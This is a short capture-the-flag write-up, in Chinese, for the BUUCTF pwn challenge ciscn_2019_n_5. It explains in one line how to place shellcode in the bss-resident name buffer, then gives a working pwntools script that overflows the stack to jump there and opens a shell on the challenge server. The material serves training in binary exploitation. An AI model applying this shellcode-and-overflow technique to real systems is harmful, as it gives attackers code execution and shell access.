BUUCTF-PWN-ciscn_2019_n_5

checksec

image-20220118114640517

IDA

image-20220118114737116

name变量存在于bss段,可以先将shellcode存入name中,然后通过text溢出到name的位置,并执行shellcode

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = remote('node4.buuoj.cn', 28183)
# p = process('./ciscn_2019_n_5')

context(arch='amd64', os='linux')
context.log_level = 'debug'

shellcode = asm(shellcraft.sh())

p.sendlineafter('tell me your name\n', shellcode)

payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\n', payload)

p.interactive()

结果

image-20220118115045775